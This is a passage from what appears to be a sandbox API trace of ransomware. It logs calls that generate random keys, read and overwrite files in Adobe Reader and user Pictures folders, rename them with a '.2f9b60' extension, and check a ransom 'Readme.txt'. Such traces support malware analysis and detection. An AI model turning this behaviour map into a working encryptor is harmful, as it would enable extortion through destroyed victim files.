_Dest=0x1ce18698, _Format="%c%c" | out: _Dest="af") returned 2 [0164.844] sprintf (in: _Dest=0x1ce1869a, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.844] sprintf (in: _Dest=0x1ce1869c, _Format="%c%c" | out: _Dest="34") returned 2 [0164.844] sprintf (in: _Dest=0x1ce1869e, _Format="%c%c" | out: _Dest="c3") returned 2 [0164.844] sprintf (in: _Dest=0x1ce186a0, _Format="%c%c" | out: _Dest="81") returned 2 [0164.844] sprintf (in: _Dest=0x1ce186a2, _Format="%c%c" | out: _Dest="21") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186a4, _Format="%c%c" | out: _Dest="f6") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186a6, _Format="%c%c" | out: _Dest="bc") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186a8, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186aa, _Format="%c%c" | out: _Dest="c4") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186ac, _Format="%c%c" | out: _Dest="fa") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186ae, _Format="%c%c" | out: _Dest="dc") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186b0, _Format="%c%c" | out: _Dest="4b") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186b2, _Format="%c%c" | out: _Dest="15") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186b4, _Format="%c%c" | out: _Dest="f2") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186b6, _Format="%c%c" | out: _Dest="25") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186b8, _Format="%c%c" | out: _Dest="6a") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186ba, _Format="%c%c" | out: _Dest="75") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186bc, _Format="%c%c" | out: _Dest="21") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186be, _Format="%c%c" | out: _Dest="8b") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186c0, _Format="%c%c" | out: _Dest="94") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186c2, _Format="%c%c" | out: _Dest="14") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186c4, _Format="%c%c" | out: _Dest="f4") returned 2 [0164.845] sprintf (in: _Dest=0x1ce186c6, _Format="%c%c" | out: _Dest="0e") returned 2 [0164.845] RtlInitAnsiString (in: DestinationString=0x3310f968, SourceString="94f0edb8af6b34c38121f6bca8c4fadc4b15f2256a75218b9414f40e" | out: DestinationString="94f0edb8af6b34c38121f6bca8c4fadc4b15f2256a75218b9414f40e") [0164.845] RtlAnsiStringToUnicodeString (in: DestinationString=0x3310f938, SourceString="94f0edb8af6b34c38121f6bca8c4fadc4b15f2256a75218b9414f40e", AllocateDestinationString=1 | out: DestinationString="94f0edb8af6b34c38121f6bca8c4fadc4b15f2256a75218b9414f40e") returned 0x0 [0164.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869c40 [0164.846] RtlFreeAnsiString (AnsiString="9") [0164.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc90) returned 1 [0164.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc60) returned 1 [0164.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15dd0) returned 1 [0164.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ea30) returned 1 [0164.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0164.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0164.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbcc0) returned 1 [0164.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd80) returned 1 [0164.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe40) returned 1 [0164.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe70) returned 1 [0164.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x42c36450 [0164.849] wcscat (in: _Dest=0x42c36450, _Source="94f0edb8af6b34" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\94f0edb8af6b34") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\94f0edb8af6b34" [0164.849] wcscat (in: _Dest=0x42c36450, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\94f0edb8af6b34.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\94f0edb8af6b34.2f9b60" [0164.849] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\94f0edb8af6b34.2f9b60", NtPathName=0x3310f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\94f0edb8af6b34.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1cecfbe0 [0165.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfbe0) returned 1 [0165.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c33210) returned 1 [0165.100] NtQueryInformationFile (in: FileHandle=0xeac, IoStatusBlock=0x3310f978, FileInformation=0x3310f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3310f978, FileInformation=0x3310f988) returned 0x0 [0165.100] NtSetInformationFile (FileHandle=0xeac, IoStatusBlock=0x3310f978, FileInformation=0x3310f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36450) returned 1 [0165.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.102] FlushFileBuffers (hFile=0xeac) returned 1 [0166.266] CloseHandle (hObject=0xeac) returned 1 [0183.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c37110 [0183.992] wcscpy (in: _Dest=0x42c37110, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\" [0183.992] wcscat (in: _Dest=0x42c37110, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\2F9B60-Readme.txt" [0183.992] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\iqmsj-3n\\2f9b60-readme.txt")) returned 0x20 [0216.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37110) returned 1 [0216.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd642c0) returned 1 Thread: id = 2586 os_tid = 0x20d4 [0156.120] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat")) returned 0x20 [0156.122] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT", dwFileAttributes=0x20) returned 1 [0156.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe0c [0156.125] GetFileSizeEx (in: hFile=0xe0c, lpFileSize=0x3323fd20 | out: lpFileSize=0x3323fd20*=7680) returned 1 [0156.125] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.125] ReadFile (in: hFile=0xe0c, lpBuffer=0x3323fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3323fce8, lpOverlapped=0x0 | out: lpBuffer=0x3323fca0*, lpNumberOfBytesRead=0x3323fce8*=0x4, lpOverlapped=0x0) returned 1 [0156.263] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc0e0 [0156.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc170 [0156.264] NtQuerySystemTime (in: CurrentTime=0x3323fbe0 | out: CurrentTime=0x3323fbe0*=132462177613894000) returned 0x0 [0156.264] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x439329eb [0156.264] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x15881fdb [0156.264] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x6287e958 [0156.264] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x2bbf36e7 [0156.264] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x417d0ff [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x69759c1d [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x79e6ff81 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x369b4b99 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x46a86a31 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x15f38ffc [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x50baff8f [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x6b578f43 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x543bd013 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x366fac78 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x6facb6f1 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x2876006b [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x20fd084a [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x5bad15eb [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x2b7e3efb [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x7225aedc [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x53b9a364 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x653eb5c6 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x352e8267 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x5a8c55f6 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x58a9d86b [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x69bbdd61 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x2caf45e1 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x7d311a99 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x57dcc5b2 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x22b562ac [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x29f994d1 [0156.265] RtlRandomEx (in: Seed=0x3323fbd0 | out: Seed=0x3323fbd0) returned 0x4d5ae041 [0156.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc1a0 [0156.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24920 [0156.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc1d0 [0156.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24920) returned 1 [0156.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc170) returned 1 [0156.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc020) returned 1 [0156.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18af0 [0156.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24920 [0156.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc020) returned 1 [0156.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a08200 [0156.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a0be10 [0156.275] ReadFile (in: hFile=0xe0c, lpBuffer=0x42a08200, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3323fbd0, lpOverlapped=0x0 | out: lpBuffer=0x42a08200*, lpNumberOfBytesRead=0x3323fbd0*=0x1e00, lpOverlapped=0x0) returned 1 [0156.669] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.669] WriteFile (hFile=0xe0c, lpBuffer=0x42a0be10, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3323fbd4, lpOverlapped=0x0) [0192.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c183c0 [0192.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c183f0 [0192.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c183f0) returned 1 [0192.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a0be10) returned 1 [0192.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a08200) returned 1 [0192.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24920) returned 1 [0192.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18af0) returned 1 [0192.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c183f0 [0192.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18af0 [0192.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24920 [0192.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18930 [0192.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18930) returned 1 [0192.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c18930 [0192.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188a0 [0192.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18960 [0192.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18960) returned 1 [0192.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24920) returned 1 [0192.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18af0) returned 1 [0192.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431a8e90 [0192.610] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.610] WriteFile (in: hFile=0xe0c, lpBuffer=0x431a8e90*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3323fcf0, lpOverlapped=0x0 | out: lpBuffer=0x431a8e90*, lpNumberOfBytesWritten=0x3323fcf0*=0x108, lpOverlapped=0x0) returned 1 [0201.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0201.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1040 [0201.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1040) returned 1 [0201.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f8740 [0201.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1040 [0201.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1010 [0201.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1010) returned 1 [0201.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0201.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d530 [0201.420] sprintf (in: _Dest=0x1ce5d530, _Format="%c%c" | out: _Dest="51") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d532, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d534, _Format="%c%c" | out: _Dest="b8") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d536, _Format="%c%c" | out: _Dest="e4") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d538, _Format="%c%c" | out: _Dest="9f") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d53a, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d53c, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d53e, _Format="%c%c" | out: _Dest="26") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d540, _Format="%c%c" | out: _Dest="84") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d542, _Format="%c%c" | out: _Dest="17") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d544, _Format="%c%c" | out: _Dest="b0") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d546, _Format="%c%c" | out: _Dest="0d") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d548, _Format="%c%c" | out: _Dest="b9") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d54a, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d54c, _Format="%c%c" | out: _Dest="f9") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d54e, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d550, _Format="%c%c" | out: _Dest="a9") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d552, _Format="%c%c" | out: _Dest="cb") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d554, _Format="%c%c" | out: _Dest="3f") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d556, _Format="%c%c" | out: _Dest="cb") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d558, _Format="%c%c" | out: _Dest="15") returned 2 [0201.420] sprintf (in: _Dest=0x1ce5d55a, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.420] RtlInitAnsiString (in: DestinationString=0x3323fd68, SourceString="51f4b8e49f7e1e268417b00db9fbf9b4a9cb3fcb15bf" | out: DestinationString="51f4b8e49f7e1e268417b00db9fbf9b4a9cb3fcb15bf") [0201.421] RtlAnsiStringToUnicodeString (in: DestinationString=0x3323fd38, SourceString="51f4b8e49f7e1e268417b00db9fbf9b4a9cb3fcb15bf", AllocateDestinationString=1 | out: DestinationString="51f4b8e49f7e1e268417b00db9fbf9b4a9cb3fcb15bf") returned 0x0 [0201.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a14e0 [0201.421] wcscat (in: _Dest=0x431967c0, _Source="51f4b8e49f7" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\51f4b8e49f7") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\51f4b8e49f7" [0201.421] wcscat (in: _Dest=0x431967c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\51f4b8e49f7.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\51f4b8e49f7.2f9b60" [0201.421] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\51f4b8e49f7.2f9b60", NtPathName=0x3323fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\51f4b8e49f7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314b7a0 Thread: id = 2587 os_tid = 0x20d8 [0156.128] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs")) returned 0x20 [0156.129] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS", dwFileAttributes=0x20) returned 1 [0156.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb0 [0156.131] GetFileSizeEx (in: hFile=0xeb0, lpFileSize=0x3319fc20 | out: lpFileSize=0x3319fc20*=7680) returned 1 [0156.131] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.131] ReadFile (in: hFile=0xeb0, lpBuffer=0x3319fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3319fbe8, lpOverlapped=0x0 | out: lpBuffer=0x3319fba0*, lpNumberOfBytesRead=0x3319fbe8*=0x4, lpOverlapped=0x0) returned 1 [0156.133] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe10 [0156.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbea0 [0156.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbed0 [0156.134] NtQuerySystemTime (in: CurrentTime=0x3319fae0 | out: CurrentTime=0x3319fae0*=132462177612646000) returned 0x0 [0156.134] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x62560635 [0156.134] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x7f7b5806 [0156.134] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x45f5f4bd [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x2314a9f4 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x2bf4ea36 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x25db22c2 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x533776b5 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x563d840b [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x2f31f921 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x4ecaac36 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x88c0c97 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x199cd039 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x683c7cef [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x513ff32d [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x1575e04a [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x4f151965 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x583f186 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x6ff3c56a [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x4576b888 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x7d348581 [0156.135] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x6992ef91 [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x7e6ebb1d [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x16825731 [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x151e4ce0 [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x63e4f1ca [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x4138b4d0 [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x292fe1da [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x53ae0388 [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x46ce00ca [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: 